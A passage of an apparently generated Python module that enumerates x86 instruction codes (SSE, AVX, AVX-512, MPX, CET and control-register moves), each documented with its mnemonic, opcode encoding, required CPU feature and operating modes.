EVEX_VMOVSLDUP_YMM_K1Z_YMMM256: int = 950
"""
``VMOVSLDUP ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F3.0F.W0 12 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSLDUP_ZMM_K1Z_ZMMM512: int = 951
"""
``VMOVSLDUP zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F3.0F.W0 12 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVDDUP_XMM_XMMM64: int = 952
"""
``MOVDDUP xmm1, xmm2/m64``
``F2 0F 12 /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VMOVDDUP_XMM_XMMM64: int = 953
"""
``VMOVDDUP xmm1, xmm2/m64``
``VEX.128.F2.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVDDUP_YMM_YMMM256: int = 954
"""
``VMOVDDUP ymm1, ymm2/m256``
``VEX.256.F2.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVDDUP_XMM_K1Z_XMMM64: int = 955
"""
``VMOVDDUP xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.F2.0F.W1 12 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDDUP_YMM_K1Z_YMMM256: int = 956
"""
``VMOVDDUP ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F2.0F.W1 12 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDDUP_ZMM_K1Z_ZMMM512: int = 957
"""
``VMOVDDUP zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F2.0F.W1 12 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVLPS_M64_XMM: int = 958
"""
``MOVLPS m64, xmm1``
``NP 0F 13 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVLPS_M64_XMM: int = 959
"""
``VMOVLPS m64, xmm1``
``VEX.128.0F.WIG 13 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVLPS_M64_XMM: int = 960
"""
``VMOVLPS m64, xmm1``
``EVEX.128.0F.W0 13 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVLPD_M64_XMM: int = 961
"""
``MOVLPD m64, xmm1``
``66 0F 13 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVLPD_M64_XMM: int = 962
"""
``VMOVLPD m64, xmm1``
``VEX.128.66.0F.WIG 13 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVLPD_M64_XMM: int = 963
"""
``VMOVLPD m64, xmm1``
``EVEX.128.66.0F.W1 13 /r``
``AVX512F``
``16/32/64-bit``
"""
UNPCKLPS_XMM_XMMM128: int = 964
"""
``UNPCKLPS xmm1, xmm2/m128``
``NP 0F 14 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VUNPCKLPS_XMM_XMM_XMMM128: int = 965
"""
``VUNPCKLPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 14 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VUNPCKLPS_YMM_YMM_YMMM256: int = 966
"""
``VUNPCKLPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 14 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VUNPCKLPS_XMM_K1Z_XMM_XMMM128B32: int = 967
"""
``VUNPCKLPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKLPS_YMM_K1Z_YMM_YMMM256B32: int = 968
"""
``VUNPCKLPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKLPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 969
"""
``VUNPCKLPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.0F.W0 14 /r``
``AVX512F``
``16/32/64-bit``
"""
UNPCKLPD_XMM_XMMM128: int = 970
"""
``UNPCKLPD xmm1, xmm2/m128``
``66 0F 14 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VUNPCKLPD_XMM_XMM_XMMM128: int = 971
"""
``VUNPCKLPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 14 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VUNPCKLPD_YMM_YMM_YMMM256: int = 972
"""
``VUNPCKLPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 14 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VUNPCKLPD_XMM_K1Z_XMM_XMMM128B64: int = 973
"""
``VUNPCKLPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKLPD_YMM_K1Z_YMM_YMMM256B64: int = 974
"""
``VUNPCKLPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKLPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 975
"""
``VUNPCKLPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 14 /r``
``AVX512F``
``16/32/64-bit``
"""
UNPCKHPS_XMM_XMMM128: int = 976
"""
``UNPCKHPS xmm1, xmm2/m128``
``NP 0F 15 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VUNPCKHPS_XMM_XMM_XMMM128: int = 977
"""
``VUNPCKHPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 15 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VUNPCKHPS_YMM_YMM_YMMM256: int = 978
"""
``VUNPCKHPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 15 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VUNPCKHPS_XMM_K1Z_XMM_XMMM128B32: int = 979
"""
``VUNPCKHPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKHPS_YMM_K1Z_YMM_YMMM256B32: int = 980
"""
``VUNPCKHPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKHPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 981
"""
``VUNPCKHPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.0F.W0 15 /r``
``AVX512F``
``16/32/64-bit``
"""
UNPCKHPD_XMM_XMMM128: int = 982
"""
``UNPCKHPD xmm1, xmm2/m128``
``66 0F 15 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VUNPCKHPD_XMM_XMM_XMMM128: int = 983
"""
``VUNPCKHPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 15 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VUNPCKHPD_YMM_YMM_YMMM256: int = 984
"""
``VUNPCKHPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 15 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VUNPCKHPD_XMM_K1Z_XMM_XMMM128B64: int = 985
"""
``VUNPCKHPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKHPD_YMM_K1Z_YMM_YMMM256B64: int = 986
"""
``VUNPCKHPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VUNPCKHPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 987
"""
``VUNPCKHPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 15 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVLHPS_XMM_XMM: int = 988
"""
``MOVLHPS xmm1, xmm2``
``NP 0F 16 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVLHPS_XMM_XMM_XMM: int = 989
"""
``VMOVLHPS xmm1, xmm2, xmm3``
``VEX.128.0F.WIG 16 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVLHPS_XMM_XMM_XMM: int = 990
"""
``VMOVLHPS xmm1, xmm2, xmm3``
``EVEX.128.0F.W0 16 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVHPS_XMM_M64: int = 991
"""
``MOVHPS xmm1, m64``
``NP 0F 16 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVHPS_XMM_XMM_M64: int = 992
"""
``VMOVHPS xmm2, xmm1, m64``
``VEX.128.0F.WIG 16 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVHPS_XMM_XMM_M64: int = 993
"""
``VMOVHPS xmm2, xmm1, m64``
``EVEX.128.0F.W0 16 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVHPD_XMM_M64: int = 994
"""
``MOVHPD xmm1, m64``
``66 0F 16 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVHPD_XMM_XMM_M64: int = 995
"""
``VMOVHPD xmm2, xmm1, m64``
``VEX.128.66.0F.WIG 16 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVHPD_XMM_XMM_M64: int = 996
"""
``VMOVHPD xmm2, xmm1, m64``
``EVEX.128.66.0F.W1 16 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVSHDUP_XMM_XMMM128: int = 997
"""
``MOVSHDUP xmm1, xmm2/m128``
``F3 0F 16 /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VMOVSHDUP_XMM_XMMM128: int = 998
"""
``VMOVSHDUP xmm1, xmm2/m128``
``VEX.128.F3.0F.WIG 16 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVSHDUP_YMM_YMMM256: int = 999
"""
``VMOVSHDUP ymm1, ymm2/m256``
``VEX.256.F3.0F.WIG 16 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVSHDUP_XMM_K1Z_XMMM128: int = 1000
"""
``VMOVSHDUP xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.F3.0F.W0 16 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSHDUP_YMM_K1Z_YMMM256: int = 1001
"""
``VMOVSHDUP ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F3.0F.W0 16 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSHDUP_ZMM_K1Z_ZMMM512: int = 1002
"""
``VMOVSHDUP zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F3.0F.W0 16 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVHPS_M64_XMM: int = 1003
"""
``MOVHPS m64, xmm1``
``NP 0F 17 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVHPS_M64_XMM: int = 1004
"""
``VMOVHPS m64, xmm1``
``VEX.128.0F.WIG 17 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVHPS_M64_XMM: int = 1005
"""
``VMOVHPS m64, xmm1``
``EVEX.128.0F.W0 17 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVHPD_M64_XMM: int = 1006
"""
``MOVHPD m64, xmm1``
``66 0F 17 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVHPD_M64_XMM: int = 1007
"""
``VMOVHPD m64, xmm1``
``VEX.128.66.0F.WIG 17 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVHPD_M64_XMM: int = 1008
"""
``VMOVHPD m64, xmm1``
``EVEX.128.66.0F.W1 17 /r``
``AVX512F``
``16/32/64-bit``
"""
RESERVEDNOP_RM16_R16_0F18: int = 1009
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 18 /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F18: int = 1010
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 18 /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F18: int = 1011
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 18 /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F19: int = 1012
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 19 /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F19: int = 1013
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 19 /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F19: int = 1014
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 19 /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F1A: int = 1015
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 1A /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F1A: int = 1016
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 1A /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F1A: int = 1017
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 1A /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F1B: int = 1018
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 1B /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F1B: int = 1019
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 1B /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F1B: int = 1020
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 1B /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F1C: int = 1021
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 1C /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F1C: int = 1022
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 1C /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F1C: int = 1023
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 1C /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F1D: int = 1024
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 1D /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F1D: int = 1025
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 1D /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F1D: int = 1026
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 1D /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F1E: int = 1027
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 1E /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F1E: int = 1028
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 1E /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F1E: int = 1029
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 1E /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
RESERVEDNOP_RM16_R16_0F1F: int = 1030
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 1F /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F1F: int = 1031
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 1F /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F1F: int = 1032
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 1F /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
PREFETCHNTA_M8: int = 1033
"""
``PREFETCHNTA m8``
``0F 18 /0``
``SSE``
``16/32/64-bit``
"""
PREFETCHT0_M8: int = 1034
"""
``PREFETCHT0 m8``
``0F 18 /1``
``SSE``
``16/32/64-bit``
"""
PREFETCHT1_M8: int = 1035
"""
``PREFETCHT1 m8``
``0F 18 /2``
``SSE``
``16/32/64-bit``
"""
PREFETCHT2_M8: int = 1036
"""
``PREFETCHT2 m8``
``0F 18 /3``
``SSE``
``16/32/64-bit``
"""
BNDLDX_BND_MIB: int = 1037
"""
``BNDLDX bnd, mib``
``NP 0F 1A /r``
``MPX``
``16/32/64-bit``
"""
BNDMOV_BND_BNDM64: int = 1038
"""
``BNDMOV bnd1, bnd2/m64``
``66 0F 1A /r``
``MPX``
``16/32-bit``
"""
BNDMOV_BND_BNDM128: int = 1039
"""
``BNDMOV bnd1, bnd2/m128``
``66 0F 1A /r``
``MPX``
``64-bit``
"""
BNDCL_BND_RM32: int = 1040
"""
``BNDCL bnd, r/m32``
``F3 0F 1A /r``
``MPX``
``16/32-bit``
"""
BNDCL_BND_RM64: int = 1041
"""
``BNDCL bnd, r/m64``
``F3 0F 1A /r``
``MPX``
``64-bit``
"""
BNDCU_BND_RM32: int = 1042
"""
``BNDCU bnd, r/m32``
``F2 0F 1A /r``
``MPX``
``16/32-bit``
"""
BNDCU_BND_RM64: int = 1043
"""
``BNDCU bnd, r/m64``
``F2 0F 1A /r``
``MPX``
``64-bit``
"""
BNDSTX_MIB_BND: int = 1044
"""
``BNDSTX mib, bnd``
``NP 0F 1B /r``
``MPX``
``16/32/64-bit``
"""
BNDMOV_BNDM64_BND: int = 1045
"""
``BNDMOV bnd1/m64, bnd2``
``66 0F 1B /r``
``MPX``
``16/32-bit``
"""
BNDMOV_BNDM128_BND: int = 1046
"""
``BNDMOV bnd1/m128, bnd2``
``66 0F 1B /r``
``MPX``
``64-bit``
"""
BNDMK_BND_M32: int = 1047
"""
``BNDMK bnd, m32``
``F3 0F 1B /r``
``MPX``
``16/32-bit``
"""
BNDMK_BND_M64: int = 1048
"""
``BNDMK bnd, m64``
``F3 0F 1B /r``
``MPX``
``64-bit``
"""
BNDCN_BND_RM32: int = 1049
"""
``BNDCN bnd, r/m32``
``F2 0F 1B /r``
``MPX``
``16/32-bit``
"""
BNDCN_BND_RM64: int = 1050
"""
``BNDCN bnd, r/m64``
``F2 0F 1B /r``
``MPX``
``64-bit``
"""
CLDEMOTE_M8: int = 1051
"""
``CLDEMOTE m8``
``NP 0F 1C /0``
``CLDEMOTE``
``16/32/64-bit``
"""
RDSSPD_R32: int = 1052
"""
``RDSSPD r32``
``F3 0F 1E /1``
``CET_SS``
``16/32/64-bit``
"""
RDSSPQ_R64: int = 1053
"""
``RDSSPQ r64``
``F3 o64 0F 1E /1``
``CET_SS``
``64-bit``
"""
ENDBR64: int = 1054
"""
``ENDBR64``
``F3 0F 1E FA``
``CET_IBT``
``16/32/64-bit``
"""
ENDBR32: int = 1055
"""
``ENDBR32``
``F3 0F 1E FB``
``CET_IBT``
``16/32/64-bit``
"""
NOP_RM16: int = 1056
"""
``NOP r/m16``
``o16 0F 1F /0``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
NOP_RM32: int = 1057
"""
``NOP r/m32``
``o32 0F 1F /0``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
NOP_RM64: int = 1058
"""
``NOP r/m64``
``o64 0F 1F /0``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
MOV_R32_CR: int = 1059
"""
``MOV r32, cr``
``0F 20 /r``
``386+``
``16/32-bit``
"""
MOV_R64_CR: int = 1060
"""
``MOV r64, cr``
``0F 20 /r``
``X64``
``64-bit``
"""
MOV_R32_DR: int = 1061
"""
``MOV r32, dr``
``0F 21 /r``
``386+``
``16/32-bit``
"""
MOV_R64_DR: int = 1062
"""
``MOV r64, dr``
``0F 21 /r``
``X64``
``64-bit``
"""
MOV_CR_R32: int = 1063
"""
``MOV cr, r32``
``0F 22 /r``
``386+``
``16/32-bit``
"""
MOV_CR_R64: int = 1064
"""
``MOV cr, r64``
``0F 22 /r``
``X64``
``64-bit``
"""
MOV_DR_R32: int = 1065
"""
``MOV dr, r32``
``0F 23 /r``
``386+``
``16/32-bit``
"""
MOV_DR_R64: int = 1066
"""
``MOV dr, r64``
``0F 23 /r``
``X64``
``64-bit``
"""
MOV_R32_TR: int = 1067
"""
``MOV r32, tr``
``0F 24 /r``
``386/486/Cyrix/Geode``
``16/32-bit``
"""
MOV_TR_R32: int = 1068
"""
``MOV tr, r32``
``0F 26 /r``
``386/486/Cyrix/Geode``
``16/32-bit``
"""
MOVAPS_XMM_XMMM128: int = 1069
"""
``MOVAPS xmm1, xmm2/m128``
``NP 0F 28 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVAPS_XMM_XMMM128: int = 1070
"""
``VMOVAPS xmm1, xmm2/m128``
``VEX.128.0F.WIG 28 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVAPS_YMM_YMMM256: int = 1071
"""
``VMOVAPS ymm1, ymm2/m256``
``VEX.256.0F.WIG 28 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVAPS_XMM_K1Z_XMMM128: int = 1072
"""
``VMOVAPS xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.0F.W0 28 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPS_YMM_K1Z_YMMM256: int = 1073
"""
``VMOVAPS ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.0F.W0 28 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPS_ZMM_K1Z_ZMMM512: int = 1074
"""
``VMOVAPS zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.0F.W0 28 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVAPD_XMM_XMMM128: int = 1075
"""
``MOVAPD xmm1, xmm2/m128``
``66 0F 28 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVAPD_XMM_XMMM128: int = 1076
"""
``VMOVAPD xmm1, xmm2/m128``
``VEX.128.66.0F.WIG 28 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVAPD_YMM_YMMM256: int = 1077
"""
``VMOVAPD ymm1, ymm2/m256``
``VEX.256.66.0F.WIG 28 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVAPD_XMM_K1Z_XMMM128: int = 1078
"""
``VMOVAPD xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F.W1 28 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPD_YMM_K1Z_YMMM256: int = 1079
"""
``VMOVAPD ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F.W1 28 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPD_ZMM_K1Z_ZMMM512: int = 1080
"""
``VMOVAPD zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F.W1 28 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVAPS_XMMM128_XMM: int = 1081
"""
``MOVAPS xmm2/m128, xmm1``
``NP 0F 29 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVAPS_XMMM128_XMM: int = 1082
"""
``VMOVAPS xmm2/m128, xmm1``
``VEX.128.0F.WIG 29 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVAPS_YMMM256_YMM: int = 1083
"""
``VMOVAPS ymm2/m256, ymm1``
``VEX.256.0F.WIG 29 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVAPS_XMMM128_K1Z_XMM: int = 1084
"""
``VMOVAPS xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.0F.W0 29 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPS_YMMM256_K1Z_YMM: int = 1085
"""
``VMOVAPS ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.0F.W0 29 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPS_ZMMM512_K1Z_ZMM: int = 1086
"""
``VMOVAPS zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.0F.W0 29 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVAPD_XMMM128_XMM: int = 1087
"""
``MOVAPD xmm2/m128, xmm1``
``66 0F 29 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVAPD_XMMM128_XMM: int = 1088
"""
``VMOVAPD xmm2/m128, xmm1``
``VEX.128.66.0F.WIG 29 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVAPD_YMMM256_YMM: int = 1089
"""
``VMOVAPD ymm2/m256, ymm1``
``VEX.256.66.0F.WIG 29 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVAPD_XMMM128_K1Z_XMM: int = 1090
"""
``VMOVAPD xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.66.0F.W1 29 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPD_YMMM256_K1Z_YMM: int = 1091
"""
``VMOVAPD ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.66.0F.W1 29 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVAPD_ZMMM512_K1Z_ZMM: int = 1092
"""
``VMOVAPD zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.66.0F.W1 29 /r``
``AVX512F``
``16/32/64-bit``
"""
CVTPI2PS_XMM_MMM64: int = 1093
"""
``CVTPI2PS xmm, mm/m64``
``NP 0F 2A /r``
``SSE``
``16/32/64-bit``
"""
CVTPI2PD_XMM_MMM64: int = 1094
"""
``CVTPI2PD xmm, mm/m64``
``66 0F 2A /r``
``SSE2``
``16/32/64-bit``
"""
CVTSI2SS_XMM_RM32: int = 1095
"""
``CVTSI2SS xmm1, r/m32``
``F3 0F 2A /r``
``SSE``
``16/32/64-bit``
"""
CVTSI2SS_XMM_RM64: int = 1096
"""
``CVTSI2SS xmm1, r/m64``
``F3 o64 0F 2A /r``
``SSE``
``64-bit``
"""
VEX_VCVTSI2SS_XMM_XMM_RM32: int = 1097
"""
``VCVTSI2SS xmm1, xmm2, r/m32``
``VEX.LIG.F3.0F.W0 2A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTSI2SS_XMM_XMM_RM64: int = 1098
"""
``VCVTSI2SS xmm1, xmm2, r/m64``
``VEX.LIG.F3.0F.W1 2A /r``
``AVX``
``64-bit``
"""
EVEX_VCVTSI2SS_XMM_XMM_RM32_ER: int = 1099
"""
``VCVTSI2SS xmm1, xmm2, r/m32{er}``
``EVEX.LIG.F3.0F.W0 2A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTSI2SS_XMM_XMM_RM64_ER: int = 1100
"""
``VCVTSI2SS xmm1, xmm2, r/m64{er}``
``EVEX.LIG.F3.0F.W1 2A /r``
``AVX512F``
``64-bit``
"""
CVTSI2SD_XMM_RM32: int = 1101
"""
``CVTSI2SD xmm1, r/m32``
``F2 0F 2A /r``
``SSE2``
``16/32/64-bit``
"""
CVTSI2SD_XMM_RM64: int = 1102
"""
``CVTSI2SD xmm1, r/m64``
``F2 o64 0F 2A /r``
``SSE2``
``64-bit``
"""
VEX_VCVTSI2SD_XMM_XMM_RM32: int = 1103
"""
``VCVTSI2SD xmm1, xmm2, r/m32``
``VEX.LIG.F2.0F.W0 2A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTSI2SD_XMM_XMM_RM64: int = 1104
"""
``VCVTSI2SD xmm1, xmm2, r/m64``
``VEX.LIG.F2.0F.W1 2A /r``
``AVX``
``64-bit``
"""
EVEX_VCVTSI2SD_XMM_XMM_RM32_ER: int = 1105
"""
``VCVTSI2SD xmm1, xmm2, r/m32{er}``
``EVEX.LIG.F2.0F.W0 2A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTSI2SD_XMM_XMM_RM64_ER: int = 1106
"""
``VCVTSI2SD xmm1, xmm2, r/m64{er}``
``EVEX.LIG.F2.0F.W1 2A /r``
``AVX512F``
``64-bit``
"""
MOVNTPS_M128_XMM: int = 1107
"""
``MOVNTPS m128, xmm1``
``NP 0F 2B /r``
``SSE``
``16/32/64-bit``
"""
